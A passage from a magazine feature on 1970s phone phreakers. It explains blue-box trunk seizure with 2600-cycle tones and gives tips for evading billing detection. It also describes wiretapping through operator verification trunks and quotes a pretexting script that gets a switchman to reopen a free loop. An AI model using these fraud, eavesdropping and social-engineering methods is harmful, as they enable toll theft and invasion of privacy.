could tell the difference between his whistle and the phone company's electronic tone generator, but the phone company's +switching circuit can't tell them apart. The bigger the phone company gets and the further away from human operators it gets, the more +vulnerable it becomes to all sorts of phone phreaking." +A Guide for the Perplexed +"But wait a minute," I stop Gilbertson. "If everything you do sounds like phone-company equipment, why doesn't the phone company charge +you for the call the way it charges its own equipment?" +"Okay. That's where the 2600-cycle tone comes in. I better start from the beginning." +The beginning he describes for me is a vision of the phone system of the continent as thousands of webs, of long-line trunks radiating from +each of the hundreds of toll switching offices to the other toll switching offices. Each toll switching office is a hive compacted of thousands of +long-distance tandems constantly whistling and beeping to tandems in far-off toll switching offices. +The tandem is the key to the whole system. Each tandem is a line with some relays with the capability of signaling any other tandem in any +other toll switching office on the continent, either directly one-to-one or by programming a roundabout route through several other tandems if all +the direct routes are busy. For instance, if you want to call from New York to Los Angeles and traffic is heavy on all direct trunks between the +two cities, your tandem in New York is programmed to try the next best route, which may send you down to a tandem in New Orleans, then up +to San Francisco, or down to a New Orleans tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up to Los Angeles. +When a tandem is not being used, when it's sitting there waiting for someone to make a long-distance call, it whistles. One side of the tandem, +the side "facing" your home phone, whistles at 2600 cycles per second toward all the home phones serviced by the exchange, telling them it is +at their service, should they be interested in making a long-distance call. The other side of the tandem is whistling 2600 cps. into one or more +long-distance trunk lines, telling the rest of the phone system that it is neither sending nor receiving a call through that trunk at the moment, that +it has no use for that trunk at the moment. +"When you dial a long-distance number the first thing that happens is that you are hooked into a tandem. A register comes up to the side of the +tandem facing away from you and presents that side with the number you dialed. This sending side of the tandem stops whistling 2600 into its +trunk line. When a tandem stops the 2600 tone it has been sending through a trunk, the trunk is said to be "seized," and is now ready to carry +the number you have dialed -- converted into multi-frequency beep tones -- to a tandem in the area code and central office you want. +Now when a blue-box operator wants to make a call from New Orleans to New York he starts by dialing the 800 number of a company which +might happen to have its headquarters in Los Angeles. The sending side of the New Orleans tandem stops sending 2600 out over the trunk to +the central office in Los Angeles, thereby seizing the trunk. Your New Orleans tandem begins sending beep tones to a tandem it has +discovered idly whistling 2600 cycles in Los Angeles. The receiving end of that LA tandem is seized, stops whistling 2600, listens to the beep +tones which tell it which LA phone to ring, and starts ringing the 800 number. Meanwhile a mark made in the New Orleans office accounting +tape notes that a call from your New Orleans phone to the 800 number in LA has been initiated and gives the call a code number. Everything is +routine so far. +But then the phone phreak presses his blue box to the mouthpiece and pushes the 2600-cycle button, sending 2600 out from the New Orleans +tandem to the LA tandem. The LA tandem notices 2600 cycles are coming over the line again and assumes that New Orleans has hung up +because the trunk is whistling as if idle. The LA tandem immediately ceases ringing the LA 800 number. But as soon as the phreak takes his +finger off the 2600 button, the LA tandem assumes the trunk is once again being used because the 2600 is gone, so it listens for a new series +of digit tones - to find out where it must send the call. +Thus the blue-box operator in New Orleans now is in touch with a tandem in LA which is waiting like an obedient genie to be told what to do +next. The blue-box owner then beeps out the ten digits of the New York number which tell the LA tandem to relay a call to New York City. +Which it promptly does. As soon as your party picks up the phone in New York, the side of the New Orleans tandem facing you stops sending +2600 cycles to you and starts carrying his voice to you by way of the LA tandem. A notation is made on the accounting tape that the +connection has been made on the 800 call which had been initiated and noted earlier. When you stop talking to New York a notation is made +that the 800 call has ended. +At three the next morning, when the phone company's accounting computer starts reading back over the master accounting tape for the past +day, it records that a call of a certain length of time was made from your New Orleans home to an LA 800 number and, of course, the +accounting computer has been trained to ignore those toll-free 800 calls when compiling your monthly bill. +"All they can prove is that you made an 800 toll-free call," Gilbertson the inventor concludes. "Of course, if you're foolish enough to talk for two +hours on an 800 call, and they've installed one of their special anti-fraud computer programs to watch out for such things, they may spot you +and ask why you took two hours talking to Army Recruiting's 800 number when you're 4-F. +But if you do it from a pay phone, they may discover something peculiar the next day -- if they've got a blue-box hunting program in their +computer -- but you'll be a long time gone from the pay phone by then. Using a pay phone is almost guaranteed safe." +"What about the recent series of blue-box arrests all across the country -- New York, Cleveland, and so on?" I asked. "How were they caught +so easily?" +"From what I can tell, they made one big mistake: they were seizing trunks using an area code plus 555-1212 instead of an 800 number. Using +555 is easy to detect because when you send multi-frequency beep tones of 555 you get a charge for it on your tape and the accounting +computer knows there's something wrong when it tries to bill you for a two-hour call to Akron, Ohio, information, and it drops a trouble card +which goes right into the hands of the security agent if they're looking for blue-box user. +"Whoever sold those guys their blue boxes didn't tell them how to use them properly, which is fairly irresponsible. And they were fairly stupid +to use them at home all the time. +"But what those arrests really mean is than an awful lot of blue boxes are flooding into the country and that people are finding them so easy to +make that they know how to make them before they know how to use them. Ma Bell is in trouble." +And if a blue-box operator or a cassette-recorder phone phreak sticks to pay phones and 800 numbers, the phone company can't stop them? +"Not unless they change their entire nationwide long-lines technology, which will take them a few billion dollars and twenty years. Right now +they can't do a thing. They're screwed." +Captain Crunch Demonstrates His Famous Unit +There is an underground telephone network in this country. Gilbertson discovered it the very day news of his activities hit the papers. That +evening his phone began ringing. Phone phreaks from Seattle, from Florida, from New York, from San Jose, and from Los Angeles began +calling him and telling him about the phone-phreak network. He'd get a call from a phone phreak who'd say nothing but, "Hang up and call this +number." +When he dialed the number he'd find himself tied into a conference of a dozen phone phreaks arranged through a quirky switching station in +British Columbia. They identified themselves as phone phreaks, they demonstrated their homemade blue boxes which they called "M-Fers" (for +"multi-frequency," among other things) for him, they talked shop about phone-phreak devices. They let him in on their secrets on the theory that +if the phone company was after him he must be trustworthy. And, Gilbertson recalls, they stunned him with their technical sophistication. +I ask him how to get in touch with the phone-phreak network. He digs around through a file of old schematics and comes up with about a +dozen numbers in three widely separated area codes. +"Those are the centers," he tells me. Alongside some of the numbers he writes in first names or nicknames: names like Captain Crunch, Dr. No, +Frank Carson (also a code word for a free call), Marty Freeman (code word for M-F device), Peter Perpendicular Pimple, Alefnull, and The +Cheshire Cat. He makes checks alongside the names of those among these top twelve who are blind. There are five checks. +I ask him who this Captain Crunch person is. +"Oh. The Captain. He's probably the most legendary phone phreak. He calls himself Captain Crunch after the notorious Cap'n Crunch 2600 +whistle." (Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast cereal offered a toy -whistle prize in every box as a +treat for the Cap'n Crunch set. Somehow a phone phreak discovered that the toy whistle just happened to produce a perfect 2600-cycle tone. +When the man who calls himself Captain Crunch was transferred overseas to England with his Air Force unit, he would receive scores of +calls from his friends and "mute" them -- make them free of charge to them -- by blowing his Cap'n Crunch whistle into his end.) "Captain +Crunch is one of the older phone phreaks," Gilbertson tells me. "He's an engineer who once got in a little trouble for fooling around with the +phone, but he can't stop. Well, the guy drives across country in a Volkswagen van with an entire switchboard and a computerized supersophisticated +M-F-er in the back. He'll pull up to a phone booth on a lonely highway somewhere, snake a cable out of his bus, hook it onto the +phone and sit for hours, days sometimes, sending calls zipping back and forth across the country, all over the world...." +Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked for G---- T-----, his real name, or at least the name he uses +when he's not dashing into a phone booth beeping out M-F tones faster than a speeding bullet and zipping phantomlike through the phone +company's long-distance lines. +When G---- T----- answered the phone and I told him I was preparing a story for Esquire about phone phreaks, he became very indignant. +"I don't do that. I don't do that anymore at all. And if I do it, I do it for one reason and one reason only. I'm learning about a system. The phone +company is a System. A computer is a System, do you understand? If I do what I do, it is only to explore a system. Computers, systems, that's +my bag. The phone company is nothing but a computer." +A tone of tightly restrained excitement enters the Captain's voice when he starts talking about systems. He begins to pronounce each syllable +w ith the hushed deliberation of an obscene caller. +"Ma Bell is a system I want to explore. It's a beautiful system, you know, but Ma Bell screwed up. It's terrible because Ma Bell is such a +beautiful system, but she screwed up. I learned how she screwed up from a couple of blind kids who wanted me to build a device. A certain +device. They said it could make free calls. I wasn't interested in free calls. But when these blind kids told me I could make calls into a computer, +my eyes lit up. I wanted to learn about computers. I wanted to learn about Ma Bell's computers. So I build the little device, but I built it wrong and +Ma Bell found out. Ma Bell can detect things like that. Ma Bell knows. So I'm strictly rid of it now. I don't do it. Except for learning purposes." He +pauses. "So you want to write an article. Are you paying for this call? Hang up and call this number." He gives me a number in a area code a +thousand miles away of his own. I dial the number. +"Hello again. This is Captain Crunch. You are speaking to me on a toll-free loop-around in Portland, Oregon. Do you know what a toll-free loop +around is? I'll tell you." +He explains to me that almost every exchange in the country has open test numbers which allow other exchanges to test their connections +with it. Most of these numbers occur in consecutive pairs, such as 302 956-0041 and 302 956-0042. Well, certain phone phreaks discovered +that if two people from anywhere in the country dial the two consecutive numbers they can talk together just as if one had called the other's +number, with no charge to either of them, of course. +"Now our voice is looping around in a 4A switching machine up there in Canada, zipping back down to me," the Captain tells me. "My voice is +looping around up there and back down to you. And it can't ever cost anyone money. The phone phreaks and I have compiled a list of many of +these numbers. You would be surprised if you saw the list. I could show it to you. But I won't. I'm out of that now. I'm not out to screw Ma Bell. +I know better. If I do anything it's for the pure knowledge of the System. You can learn to do fantastic things. Have you ever heard eight +tandems stacked up? Do you know the sound of tandems stacking and unstacking? Give me your phone number. Okay. Hang up now and wait +a minute." +Slightly less than a minute later the phone rang and the Captain was on the line, his voice sounding far more excited, almost aroused. +"I wanted to show you what it's like to stack up tandems. To stack up tandems." (Whenever the Captain says "stack up" it sounds as if he is +licking his lips.) +"How do you like the connection you're on now?" the Captain asks me. "It's a raw tandem. A raw tandem. Ain't nothing' up to it but a tandem. +Now I'm going to show you what it's like to stack up. Blow off. Land in a far away place. To stack that tandem up, whip back and forth across +the country a few times, then shoot on up to Moscow. +"Listen," Captain Crunch continues. "Listen. I've got line tie on my switchboard here, and I'm gonna let you hear me stack and unstack tandems. +Listen to this. It's gonna blow your mind." +First I hear a super rapid-fire pulsing of the flutelike phone tones, then a pause, then another popping burst of tones, then another, then +another. Each burst is followed by a beep-kachink sound. +"We have now stacked up four tandems," said Captain Crunch, sounding somewhat remote. "That's four tandems stacked up. Do you know +what that means? That means I'm whipping back and forth, back and forth twice, across the country, before coming to you. I've been known to +stack up twenty tandems at a time. Now, just like I said, I'm going to shoot up to Moscow." +There is a new, longer series of beeper pulses over the line, a brief silence, then a ring. +"Hello," answers a far-off voice. +"Hello. Is this the American Embassy Moscow?" +"Yes, sir. Who is this calling?" says the voice. +"Yes. This is test board here in New York. We're calling to check out the circuits, see what kind of lines you've got. Everything okay there in +Moscow?" +"Okay?" +"Well, yes, how are things there?" +"Oh. Well, everything okay, I guess." +"Okay. Thank you." +They hang up, leaving a confused series of beep-kachink sounds hanging in mid-ether in the wake of the call before dissolving away. +The Captain is pleased. "You believe me now, don't you? Do you know what I'd like to do? I'd just like to call up your editor at Esquire and show +him just what it sounds like to stack and unstack tandems. I'll give him a show that will blow his mind. What's his number? +I ask the Captain what kind of device he was using to accomplish all his feats. The Captain is pleased at the question. +"You could tell it was special, couldn't you?" Ten pulses per second. That's faster than the phone company's equipment. Believe me, this unit +is the most famous unit in the country. There is no other unit like it. Believe me." +"Yes, I've heard about it. Some other phone phreaks have told me about it." +"They have been referring to my, ahem, unit? What is it they said? Just out of curiosity, did they tell you it was a highly sophisticated +computer-operated unit, with acoustical coupling for receiving outputs and a switch-board with multiple-line-tie capability? Did they tell you that +the frequency tolerance is guaranteed to be not more than .05 percent? The amplitude tolerance less than .01 decibel? Those pulses you +heard were perfect. They just come faster than the phone company. Those were high-precision op-amps. Op-amps are instrumentation +amplifiers designed for ultra-stable amplification, super-low distortion and accurate frequency response. Did they tell you it can operate in +temperatures from -55�C to +125�C?" +I admit that they did not tell me all that. +"I built it myself," the Captain goes on. "If you were to go out and buy the components from an industrial wholesaler it would cost you at least +$1500. I once worked for a semiconductor company and all this didn't cost me a cent. Do you know what I mean? Did they tell you about how I +put a call completely around the world? I'll tell you how I did it. I M-Fed Tokyo inward, who connected me to India, India connected me to +Greece, Greece connected me to Pretoria, South Africa, South Africa connected me to South America, I went from South America to London, I +had a London operator connect me to a New York operator, I had New York connect me to a California operator who rang the phone next to +me. Needless to say I had to shout to hear myself. But the echo was far out. Fantastic. Delayed. It was delayed twenty seconds, but I could +hear myself talk to myself." +"You mean you were speaking into the mouthpiece of one phone sending your voice around the world into your ear through a phone on the +other side of your head?" I asked the Captain. I had a vision of something vaguely autoerotic going on, in a complex electronic way. +"That's right," said the Captain. "I've also sent my voice around the world one way, going east on one phone, and going west on the other, +going through cable one way, satellite the other, coming back together at the same time, ringing the two phones simultaneously and picking +them up and whipping my voice both ways around the world back to me. Wow. That was a mind blower." "You mean you sit there with both +phones on your ear and talk to yourself around the world," I said incredulously. +"Yeah. Um hum. That's what I do. I connect the phone together and sit there and talk." +"What do you say? What do you say to yourself when you're connected?" +"Oh, you know. Hello test one two three," he says in a low -pitched voice. +"Hello test one two three," he replied to himself in a high-pitched voice. +"Hello test one two three," he repeats again, low-pitched. +"Hello test one two three," he replies, high-pitched. +"I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off and breaks into laughter. +Why Captain Crunch Hardly Ever Taps Phones Anymore +Using internal phone-company codes, phone phreaks have learned a simple method for tapping phones. Phone-company operators have in +front of them a board that holds verification jacks. It allows them to plug into conversations in case of emergency, to listen in to a line to +determine if the line is busy or the circuits are busy. Phone phreaks have learned to beep out the codes which lead them to a verification +operator, tell the verification operator they are switchmen from some other area code testing out verification trunks. Once the operator hooks +them into the verification trunk, they disappear into the board for all practical purposes, slip unnoticed into any one of the 10,000 to 100,000 +numbers in that central office without the verification operator knowing what they're doing, and of course without the two parties to the +connection knowing there is a phantom listener present on their line. +Toward the end of my hour-long first conversation with him, I asked the Captain if he ever tapped phones. +"Oh no. I don't do that. I don't think it's right," he told me firmly. "I have the power to do it but I don't... Well one time, just one time, I have to admit +that I did. There was this girl, Linda, and I wanted to find out... you know. I tried to call her up for a date. I had a date with her the last weekend +and I thought she liked me. I called her up, man, and her line was busy, and I kept calling and it was still busy. Well, I had just learned about this +system of jumping into lines and I said to myself, 'Hmmm. Why not just see if it works. It'll surprise her if all of a sudden I should pop up on her +line. It'll impress her, if anything.' So I went ahead and did it. I M-Fed into the line. My M-F-er is powerful enough when patched directly into the +mouthpiece to trigger a verification trunk without using an operator the way the other phone phreaks have to. +"I slipped into the line and there she was talking to another boyfriend. Making sweet talk to him. I didn't make a sound because I was so +disgusted. So I waited there for her to hang up, listening to her making sweet talk to the other guy. You know. So as soon as she hung up I +instantly M-F-ed her up and all I said was, 'Linda, we're through.' And I hung up. And it blew her head off. She couldn't figure out what the hell +happened. +"But that was the only time. I did it thinking I would surprise her, impress her. Those were all my intentions were, and well, it really kind of hurt +me pretty badly, and... and ever since then I don't go into verification trunks." +Moments later my first conversation with the Captain comes to a close. +"Listen," he says, his spirits somewhat cheered, "listen. What you are going to hear when I hang up is the sound of tandems unstacking. Layer +after layer of tandems unstacking until there's nothing left of the stack, until it melts away into nothing. Cheep, cheep, cheep, cheep," he +concludes, his voice descending to a whisper with each cheep. +He hangs up. The phone suddenly goes into four spasms: kachink cheep. Kachink cheep kachink cheep kachink cheep, and the complex +connection has wiped itself out like the Cheshire cat's smile. +The MF Boogie Blues +The next number I choose from the select list of phone-phreak alumni, prepared for me by the blue-box inventor, is a Memphis number. It is the +number of Joe Engressia, the first and still perhaps the most accomplished blind phone phreak. +Three years ago Engressia was a nine-day wonder in newspapers and magazines all over America because he had been discovered +whistling free long-distance connections for fellow students at the University of South Florida. +Engressia was born with perfect pitch: he could whistle phone tones better than the phone-company's equipment. +Engressia might have gone on whistling in the dark for a few friends for the rest of his life if the phone company hadn't decided to expose him. +He was warned, disciplined by the college, and the whole case became public. In the months following media reports of his talent, Engressia +began receiving strange calls. There were calls from a group of kids in Los Angeles who could do some very strange things with the quirky +General Telephone and Electronics circuitry in LA suburbs. There were calls from a group of mostly blind kids in ----, California, who had been +doing some interesting experiments with Cap'n Crunch whistles and test loops. There was a group in Seattle, a group in Cambridge, +Massachusetts, a few from New York, a few scattered across the country. Some of them had already equipped themselves with cassette +and electronic M-F devices. For some of these groups, it was the first time they knew of the others. +The exposure of Engressia was the catalyst that linked the separate phone-phreak centers together. They all called Engressia. They talked to +him about what he was doing and what they were doing. And then he told them -- the scattered regional centers and lonely independent +phone phreakers -- about each other, gave them each other's numbers to call, and within a year the scattered phone-phreak centers had +grown into a nationwide underground. +Joe Engressia is only twenty-two years old now, but along the phone-phreak network he is "the old man," accorded by phone phreaks +something of the reverence the phone company bestows on Alexander Graham Bell. He seldom needs to make calls anymore. The phone +phreaks all call him and let him know what new tricks, new codes, new techniques they have learned. Every night he sits like a sightless +spider in his little apartment receiving messages from every tendril of his web. It is almost a point of pride with Joe that they call him. +But when I reached him in his Memphis apartment that night, Joe Engressia was lonely, jumpy and upset. +"God, I'm glad somebody called. I don't know why tonight of all nights I don't get any calls. This guy around here got drunk again tonight and +propositioned me again. I keep telling him we'll never see eye to eye on this subject, if you know what I mean. I try to make light of it, you know, +but he doesn't get it. I can head him out there getting drunker and I don't know what he'll do next. It's just that I'm really all alone here, just moved +to Memphis, it's the first time I'm living on my own, and I'd hate for it to all collapse now. But I won't go to bed with him. I'm just not very +interested in sex and even if I can't see him I know he's ugly. +"Did you hear that? That's him banging a bottle against the wall outside. He's nice. Well forget about it. You're doing a story on phone phreaks? +Listen to this. It's the MF Boogie Blues. +Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line, each note one of those long-distance phone tones. The music +stops. A huge roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars the voice, "CAN A BLIND PERSON HOOK UP AN +AMPLIFIER ON HIS OWN?" +The roar ceases. A high-pitched operator-type voice replaces it. "This is Southern Braille Tel. & Tel. Have tone, will phone." +This is succeeded by a quick series of M-F tones, a swift "kachink" and a deep reassuring voice: "If you need home care, call the visitingnurses +association. First National time in Honolulu is 4:32 p.m." +Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,' said the blind Mexican. Ahem. Yes. Would you like to know the weather in +Tokyo?" +This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes manages to keep Joe's mind off his tormentor only as long as +it lasts. +"The reason I'm in Memphis, the reason I have to depend on that homosexual guy, is that this is the first time I've been able to live on my own +and make phone trips on my own. I've been banned from all central offices around home in Florida, they knew me too well, and at the +University some of my fellow scholars were always harassing me because I was on the dorm pay phone all the time and making fun of me +because of my fat ass, which of course I do have, it's my physical fatness program, but I don't like to hear it every day, and if I can't phone trip +and I can't phone phreak, I can't imagine what I'd do, I've been devoting three quarters of my life to it. +"I moved to Memphis because I wanted to be on my own as well as because it has a Number 5 crossbar switching system and some +interesting little independent phone-company districts nearby and so far they don't seem to know who I am so I can go on phone tripping, and +for me phone tripping is just as important as phone phreaking." +Phone tripping, Joe explains, begins with calling up a central-office switch room. He tells the switchman in a polite earnest voice that he's a +blind college student interested in telephones, and could he perhaps have a guided tour of the switching station? Each step of the tour Joe likes +to touch and feel relays, caress switching circuits, switchboards, crossbar arrangements. +So when Joe Engressia phone phreaks he feels his way through the circuitry of the country garden of forking paths, he feels switches shift, +relays shunt, crossbars swivel, tandems engage and disengage even as he hears -- with perfect pitch -- his M-F pulses make the entire Bell +system dance to his tune. +Just one month ago Joe took all his savings out of his bank and left home, over the emotional protests of his mother. "I ran away from home +almost," he likes to say. Joe found a small apartment house on Union Avenue and began making phone trips. He'd take a bus a hundred miles +south in Mississippi to see some old-fashioned Bell equipment still in use in several states, which had been puzzling. He'd take a bus three +hundred miles to Charlotte, North Carolina, to look at some brand-new experimental equipment. He hired a taxi to drive him twelve miles to a +suburb to tour the office of a small phone company with some interesting idiosyncrasies in its routing system. He was having the time of his +life, he said, the most freedom and pleasure he had known. +In that month he had done very little long-distance phone phreaking from his own phone. He had begun to apply for a job with the phone +company, he told me, and he wanted to stay away from anything illegal. +"Any kind of job will do, anything as menial as the most lowly operator. That's probably all they'd give me because I'm blind. Even though I +probably know more than most switchmen. But that's okay. I want to work for Ma Bell. I don't hate Ma Bell the way Gilbertson and some phone +phreaks do. I don't want to screw Ma Bell. With me it's the pleasure of pure knowledge. There's something beautiful about the system when +you know it intimately the way I do. But I don't know how much they know about me here. I have a very intuitive feel for the condition of the +line I'm on, and I think they're monitoring me off and on lately, but I haven't been doing much illegal. I have to make a few calls to switchmen +once in a while which aren't strictly legal, and once I took an acid trip and was having these auditory hallucinations as if I were trapped and +these planes were dive-bombing me, and all of sudden I had to phone phreak out of there. For some reason I had to call Kansas City, but that's +all." +A Warning Is Delivered +At this point -- one o'clock in my time zone -- a loud knock on my motel-room door interrupts our conversation. Outside the door I find a +uniformed security guard who informs me that there has been an "emergency phone call" for me while I have been on the line and that the +front desk has sent him up to let me know. +Two seconds after I say good-bye to Joe and hang up, the phone rings. +"Who were you talking to?" the agitated voice demands. The voice belongs to Captain Crunch. "I called because I decided to warn you of +something. I decided to warn you to be careful. I don't want this information you get to get to the radical underground. I don't want it to get into +the wrong hands. What would you say if I told you it's possible for three phone phreaks to saturate the phone system of the nation. Saturate it. +Busy it out. All of it. I know how to do this. I'm not gonna tell. A friend of mine has already saturated the trunks between Seattle and New York. +He did it with a computerized M-F-er hitched into a special Manitoba exchange. But there are other, easier ways to do it." +Just three people? I ask. How is that possible? +"Have you ever heard of the long-lines guard frequency? Do you know about stacking tandems with 17 and 2600? Well, I'd advise you to find +out about it. I'm not gonna tell you. But whatever you do, don't let this get into the hands of the radical underground." +(Later Gilbertson, the inventor, confessed that while he had always been skeptical about the Captain's claim of the sabotage potential of trunktying +phone phreaks, he had recently heard certain demonstrations which convinced him the Captain was not speaking idly. "I think it might take +more than three people, depending on how many machines like Captain Crunch's were available. But even though the Captain sounds a little +weird, he generally turns out to know what he's talking about.") +"You know," Captain Crunch continues in his admonitory tone, "you know the younger phone phreaks call Moscow all the time. Suppose +everybody were to call Moscow. I'm no right-winger. But I value my life. I don't want the Commies coming over and dropping a bomb on my +head. That's why I say you've got to be careful about who gets this information." +The Captain suddenly shifts into a diatribe against those phone phreaks who don't like the phone company. +"They don't understand, but Ma Bell knows everything they do. Ma Bell knows. Listen, is this line hot? I just heard someone tap in. I'm not +paranoid, but I can detect things like that. Well, even if it is, they know that I know that they know that I have a bulk eraser. I'm very clean." The +Captain pauses, evidently torn between wanting to prove to the phone-company monitors that he does nothing illegal, and the desire to impress +Ma Bell with his prowess. "Ma Bell knows how good I am. And I am quite good. I can detect reversals, tandem switching, everything that goes +on a line. I have relative pitch now. Do you know what that means? My ears are a $20,000 piece of equipment. With my ears I can detect things +they can't hear with their equipment. I've had employment problems. I've lost jobs. But I want to show Ma Bell how good I am. I don't want to +screw her, I want to work for her. I want to do good for her. I want to help her get rid of her flaws and become perfect. That's my number-one +goal in life now." The Captain concludes his warnings and tells me he has to be going. "I've got a little action lined up for tonight," he explains +and hangs up. +Before I hang up for the night, I call Joe Engressia back. He reports that his tormentor has finally gone to sleep -- "He's not blind drunk, that's +the way I get, ahem, yes; but you might say he's in a drunken stupor." I make a date to visit Joe in Memphis in two days. +A Phone Phreak Call Takes Care of Business +The next morning I attend a gathering of four phone phreaks in ----- (a California suburb). The gathering takes place in a comfortable split-level +home in an upper-middle-class subdivision. Heaped on the kitchen table are the portable cassette recorders, M-F cassettes, phone patches, +and line ties of the four phone phreaks present. On the kitchen counter next to the telephone is a shoe-box-size blue box with thirteen large +toggle switches for the tones. The parents of the host phone phreak, Ralph, who is blind, stay in the living room with their sighted children. +They are not sure exactly what Ralph and his friends do with the phone or if it's strictly legal, but he is blind and they are pleased he has a +hobby which keeps him busy. +The group has been working at reestablishing the historic "2111" conference, reopening some toll-free loops, and trying to discover the +dimensions of what seem to be new initiatives against phone phreaks by phone-company security agents. +It is not long before I get a chance to see, to hear, Randy at work. Randy is known among the phone phreaks as perhaps the finest con man in +the game. Randy is blind. He is pale, soft and pear-shaped, he wears baggy pants and a wrinkly nylon white sport shirt, pushes his head +forward from hunched shoulders somewhat like a turtle inching out of its shell. His eyes wander, crossing and recrossing, and his forehead is +somewhat pimply. He is only sixteen years old. +But when Randy starts speaking into a telephone mouthpiece his voice becomes so stunningly authoritative it is necessary to look again to +convince yourself it comes from a chubby adolescent Randy. Imagine the voice of a crack oil-rig foreman, a tough, sharp, weather-beaten +Marlboro man of forty. Imagine the voice of a brilliant performance-fund gunslinger explaining how he beats the Dow Jones by thirty percent. +Then imagine a voice that could make those two sound like Stepin Fetchit. That is sixteen-year -old Randy's voice. +He is speaking to a switchman in Detroit. The phone company in Detroit had closed up two toll-free loop pairs for no apparent reason, although +heavy use by phone phreaks all over the country may have been detected. Randy is telling the switchman how to open up the loop and make it +free again: +"How are you, buddy. Yeah. I'm on the board in here in Tulsa, Oklahoma, and we've been trying to run some tests on your loop-arounds and +we find'em busied out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya say, can you drop cards on 'em? Do you have 08 +on your number group? Oh that's okay, we've had this trouble before, we may have to go after the circuit. Here lemme give 'em to you: your +frame is 05, vertical group 03, horizontal 5, vertical file 3. Yeah, we'll hang on here.... Okay, found it? Good. Right, yeah, we'd like to clear that +busy out. Right. All you have to do is look for your key on the mounting plate, it's in your miscellaneous trunk frame. Okay? Right. Now pull your +key from NOR over the LCT. Yeah. I don't know why that happened, but we've been having trouble with that one. Okay. Thanks a lot fella. Be +seein' ya." +Randy hangs up, reports that the switchman was a little inexperienced with the loop-around circuits on the miscellaneous trunk frame, but that +the loop has been returned to its free-call status. +Delighted, phone phreak Ed returns the pair of numbers to the active-status column in his directory. Ed is a superb and painstaking researcher. +With almost Talmudic thoroughness he will trace tendrils of hints through soft-wired mazes of intervening phone-company circuitry back +through complex linkages of switching relays to find the location and identity of just one toll-free loop. He spends hours and hours, every day, +doing this sort of thing. He has somehow compiled a directory of eight hundred "Band-six in-WATS numbers" located in over forty states. +Band-six in-WATS numbers are the big 800 numbers -- the ones that can be dialed into free from anywhere in the country. +Ed the researcher, a nineteen-year-old engineering student, is also a superb technician. He put together his own working blue box from +scratch at age seventeen. (He is sighted.) This evening after distributing the latest issue of his in-WATS directory (which has been typed into +Braille for the blind phone phreaks), he announces he has made a major new breakthrough: +"I finally tested it and it works, perfectly. I've got this switching matrix which converts any touch-tone phone into an M-F-er." +The tones you hear in touch-tone phones are not the M-F tones that operate the long-distance switching system. Phone phreaks believe AT&T. +had deliberately equipped touch tones with a different set of frequencies to avoid putting the six master M-F tones in the hands of every touchtone +owner. Ed's complex switching matrix puts the six master tones, in effect put a blue box, in the hands of every touch-tone owner. +Ed shows me pages of schematics, specifications and parts lists. "It's not easy to build, but everything here is in the Heathkit catalog." +Ed asks Ralph what progress he has made in his attempts to reestablish a long-term open conference line for phone phreaks. The last big +conference -- the historic "2111" conference -- had been arranged through an unused Telex test-board trunk somewhere in the innards of a +4A switching machine in Vancouver, Canada. For months phone phreaks could M-F their way into Vancouver, beep out 604 (the Vancouver +area code) and then beep out 2111 (the internal phone-company code for Telex testing), and find themselves at any time, day or night, on an +open wire talking with an array of phone phreaks from coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak +sympathizers, and miscellaneous guests and technical experts. The conference was a massive exchange of information. Phone phreaks +picked each other's brains clean, then developed new ways to pick the phone company's brains clean. Ralph gave M F Boogies concerts with +his home-entertainment-type electric organ, Captain Crunch demonstrated his round-the-w orld prowess with his notorious computerized unit +and dropped leering hints of the "action" he was getting with his girl friends. (The Captain lives out or pretends to live out several kinds of +fantasies to the gossipy delight of the blind phone phreaks who urge him on to further triumphs on behalf of all of them.) The somewhat rowdy +Northwest phone-phreak crowd let their bitter internal feud spill over into the peaceable conference line, escalating shortly into guerrilla +warfare; Carl the East Coast international tone relations expert demonstrated newly opened direct M-F routes to central offices on the island of +Bahrein in the Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and explained the technical operation of the new Oaklandto +Vietnam linkages. (Many phone phreaks pick up spending money by M-F-ing calls from relatives to Vietnam GIs charging $5 for a whole hour +of trans-Pacific conversation.) +Day and night the conference line was never dead. Blind phone phreaks all over the country, lonely and isolated in homes filled with active +sighted brothers and sisters, or trapped with slow and unimaginative blind kids in straitjacket schools for the blind, knew that no matter how +late it got they could dial up the conference and find instant electronic communion with two or three other blind kids awake over on the other +side of America. Talking together on a phone hookup, the blind phone phreaks say, is not much different from being there together. Physically, +there was nothing more than a two-inch-square wafer of titanium inside a vast machine on Vancouver Island. For the blind kids >there< meant +an exhilarating feeling of being in touch, through a kind of skill and magic which was peculiarly their own. +Last April 1, however, the long Vancouver Conference was shut off. The phone phreaks knew it was coming. Vancouver was in the process +of converting from a step-by-step system to a 4A machine and the 2111 Telex circuit was to be wiped out in the process. The phone phreaks +learned the actual day on which the conference would be erased about a week ahead of time over the phone company's internal-news-andshop- +talk recording. +For the next frantic seven days every phone phreak in America was on and off the 2111 conference twenty-four hours a day. Phone phreaks +who were just learning the game or didn't have M-F capability were boosted up to the conference by more experienced phreaks so they could +get a glimpse of what it was like before it disappeared. Top phone phreaks searched distant area codes for new conference possibilities +without success. Finally in the early morning of April 1, the end came. +"I could feel it coming a couple hours before midnight," Ralph remembers. "You could feel something going on in the lines. Some static began +showing up, then some whistling wheezing sound. Then there were breaks. Some people got cut off and called right back in, but after a while +some people were finding they were cut off and couldn't get back in at all. It was terrible. I lost it about one a.m., but managed to slip in again +and stay on until the thing died... I think it was about four in the morning. There were four of us still hanging on when the conference +disappeared into nowhere for good. We all tried to M-F up to it again of course, but we got silent termination. There was nothing there." +The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker" +Mark Bernay. I had come across that name before. It was on Gilbertson's select list of phone phreaks. The California phone phreaks had +spoken of a mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West Coast. And in fact almost every phone phreak +in the West can trace his origins either directly to Mark Bernay or to a disciple of Mark Bernay. +It seems that five years ago this Mark Bernay (a pseudonym he chose for himself) began traveling up and down the West Coast pasting tiny +stickers in phone books all along his way. The stickers read something like "Want to hear an interesting tape recording? Call these numbers." +The 